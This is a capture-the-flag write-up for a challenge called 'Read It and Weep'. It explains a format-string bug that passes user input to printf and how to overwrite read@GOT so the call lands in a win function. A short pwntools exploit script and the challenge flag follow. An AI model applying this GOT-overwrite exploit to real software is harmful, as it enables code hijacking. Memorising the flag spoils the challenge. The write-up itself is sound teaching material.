Read It and Weep

Walkthrough

Solution

The complaint is passed directly to printf, giving a format-string write, and the binary's writable GOT is available at fixed addresses. At format argument offset 10, use fmtstr_payload to replace the low two bytes of read@GOT with the low two bytes of win.

Immediately afterward the program calls read for the signature. That GOT call now enters win, which opens and prints the flag.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = elf = ELF("./main", checksec=False)
p = remote(args.HOST or "localhost", int(args.PORT or 1356))
payload = fmtstr_payload(10, {elf.got.read: p16(elf.sym.win & 0xffff)}, write_size="short")
p.sendlineafter(b"Complaint: ", payload)
print(p.recvall().decode())

Flag

SecurinetsENIT{r34d_g0t_r3wr1tt3n_n0w_1t_w33ps}